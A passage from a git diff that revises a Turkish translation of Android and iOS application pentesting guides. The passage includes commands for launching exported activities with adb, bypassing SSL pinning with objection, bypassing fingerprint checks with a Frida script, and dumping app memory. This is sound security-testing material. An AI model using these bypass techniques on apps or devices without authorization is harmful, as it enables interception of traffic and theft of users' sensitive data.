çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**. +Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edildiyse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.** -[**Drozer ile ihracat yapılmış aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) +[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) -Ayrıca, adb'den ihracat yapılmış bir aktivite başlatabilirsiniz: +Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz: - Paket Adı com.example.demo -- İhracat Yapılmış Aktivite Adı com.example.test.MainActivity +- İhracat Edilen Aktivite Adı com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak tespit edecektir, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir. > [!İPUCU] -> Bir yetkilendirme atlamanın her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. +> Bir yetkilendirme atlamasının her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. **Hassas bilgi sızıntısı** @@ -336,25 +342,25 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını ### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon [**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\ -İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkarma** şansınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar savunmasız olabilir. +İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Yol Geçişlerini** test etmek de ilginçtir çünkü bunlar savunmasız olabilir. [**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers) ### **Hizmetleri Sömürme** -[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ -Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. +[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ +Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. -Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\ +Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\ [**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services) -### **Broadcast Alıcılarını Sömürme** +### **Yayın Alıcılarını Sömürme** -[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ -Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın. +[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ +Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın. Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, savunmasız olabilir.\ -[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers) +[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers) ### **Şemaları / Derin bağlantıları Sömürme** @@ -393,19 +399,19 @@ Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/r - Android uygulamaları **sertifikaları her zaman düzgün bir şekilde incelemez**. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. - **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır. -- Uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurmaları durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz. +- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz. #### Sertifika Doğrulama -**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi durumunda önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır. +**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları ele alma konusunda ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır. #### SSL Pinning -SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir. +SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyayla doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir. #### Trafik İncelemesi -HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme konusunda bir rehber için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). **API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md). @@ -415,15 +421,15 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur: -- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. -- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- **SSL Pinning'i otomatik olarak aşmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. +- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma kılavuzunuz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır). - Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Yaygın Web Zayıflıklarını Arama -Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir, ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. +Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme konusunda ayrıntılı bilgi, bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. ### Frida @@ -433,7 +439,7 @@ Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanaca - Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html) - Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection, Frida'nın kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs)) @@ -450,13 +456,13 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dökecektir ve orada şunlarla grep yapabilirsiniz: +Bu, ./dump klasöründeki belleği dökecektir ve orada şunlarla grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore'daki Hassas Veriler** -Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir. +Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birisi veya root kullanıcı olarak kontrol etmelidir. Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir. @@ -466,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Parmak İzi/Biyometrik Bypass** -Aşağıdaki Frida betiğini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: +Aşağıdaki Frida scriptini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -488,20 +494,20 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı ### Intent Enjeksiyonu -Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri ve hizmetleri oluştururlar; bu da riskli olabilir. +Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir. -Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, `Intent.parseUri(...)` aracılığıyla yapılır ve ardından bunları çalıştırarak kötü niyetli Intent enjeksiyonlarına yol açabilir. +Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir. ### Temel Çıkarımlar - **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer. -- Sömürüler, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir. +- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir. - Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir. - `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir. ### Android İstemci Tarafı Enjeksiyonları ve Diğerleri -Bu tür güvenlik açıkları hakkında webden haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: +Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: - **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun. - **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). @@ -556,8 +562,8 @@ Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var: - **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdırır (çok gürültülü) - **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**. - **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır. -- **Sınıf Deseni Arama**: Desene göre sınıfları arama -- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. +- **Sınıf Deseni Arama**: Desene göre sınıfları arar +- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. @@ -599,7 +605,7 @@ Bu, **GUI ile statik analiz gerçekleştirmek için harika bir araçtır.** ### [Qark](https://github.com/linkedin/qark) -Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur. +Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını rootlamaya gerek yoktur. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -619,7 +625,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır ve güvenlik açıklarını aramak için _.apk_ dosyalarını analiz eder. Bunu, APK'ları sıkıştırmasını açarak ve bu güvenlik açıklarını tespit etmek için bir dizi kural uygulayarak yapar. +SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını zafiyetler için analiz eder. Bunu, APK'ları sıkıştırmasını açarak ve bu zafiyetleri tespit etmek için bir dizi kural uygulayarak yapar. Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya testçi, ihtiyaç duydukları şeyleri analiz etmek için kendi kurallarını oluşturabilir. @@ -631,7 +637,7 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn, mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) gerçekleştiren geliştiricilere, bugbounty avcılarına ve etik hackerlara yardımcı olan **çoklu platform** bir araçtır. +StaCoAn, mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) gerçekleştiren geliştiricilere, bugbounty avcılarına ve etik hackerlara yardımcı olan **çapraz platform** bir araçtır. Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz. @@ -669,8 +675,8 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - APK'ları analiz etmek için: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Regex kullanarak APK'dan özel bilgileri çıkarmak. - Manifest'i analiz etmek. -- Bulunan alanları analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. +- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek ### Koodous @@ -688,15 +694,15 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın ### [DexGuard](https://www.guardsquare.com/dexguard) -APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz. +APK'yi deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz. (Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu: - Bir kaynağı InputStream olarak yüklemek; - Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek; - Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak; -- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak; -- Son olarak, elde edilen DEX'i `loadDex` yöntemi ile bir Kaynak olarak yüklemek. +- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak; +- Son olarak, `loadDex` yöntemi kullanarak elde edilen DEX'i bir Kaynak olarak yüklemek. ### [DeGuard](http://apk-deguard.com) @@ -710,7 +716,7 @@ Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve And ### [Simplify](https://github.com/CalebFenton/simplify) -Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü ne olursa olsun önemli değildir. +Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir. ### [APKiD](https://github.com/rednaga/APKiD) @@ -718,7 +724,7 @@ APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyi ### Manual -[Özel obfuscation'ı tersine çevirme ile ilgili bazı ipuçlarını öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md) +[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md) ## Labs diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 7b4d2d7b1..18ed35d41 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -154,7 +154,7 @@ PID Name Identifier ``` ### Temel Enumerasyon & Hooking -Uygulamanın **bileşenlerini listelemeyi** ve **objection ile yöntemleri ve sınıfları kolayca hook etmeyi** öğrenin: +Uygulamanın **bileşenlerini listelemeyi** ve **metotları ve sınıfları kolayca hook'lamayı** öğrenin: {{#ref}} ios-hooking-with-objection.md @@ -162,19 +162,19 @@ ios-hooking-with-objection.md ### IPA Yapısı -Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısına sahiptir. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açmak** mümkündür. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız. +Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısına sahiptir. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açabilirsiniz**. Bu yapının içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adlı bir dizin bulacaksınız. - **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar. - **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir. - **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir. - **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır. -- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve tek bir cihazda uygulamanıza geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır. +- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve tek bir cihazda uygulamanıza geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda tek bir iCloud hesabında verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur. - **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir. - **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. - **Varlık Yönetimi**: `Assets.car` dosyası, grafik varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. -- **Frameworks ve PlugIns**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilerin yeniden kullanılabilir kod kütüphanelerini (`Frameworks/`) dahil etmelerine ve uygulama işlevselliğini genişletmelerine olanak tanır (`PlugIns/`). -- **Yerelleştirme**: Yapı, belirli dil paketleri için kaynaklar ekleyerek küresel uygulama erişimini kolaylaştırarak birden fazla dili destekler. +- **Frameworks ve PlugIns**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilerin yeniden kullanılabilir kod kütüphanelerini (`Frameworks/`) dahil etmelerine ve uygulama işlevselliğini genişletmelerine olanak tanır. +- **Yerelleştirme**: Yapı, belirli dil paketleri için kaynaklar ekleyerek küresel uygulama erişimini kolaylaştıran birden fazla dili destekler. **Info.plist** @@ -197,14 +197,14 @@ $ grep -i Info.plist ``` **Veri Yolları** -iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalar, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcıya atanmıştır. +iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar 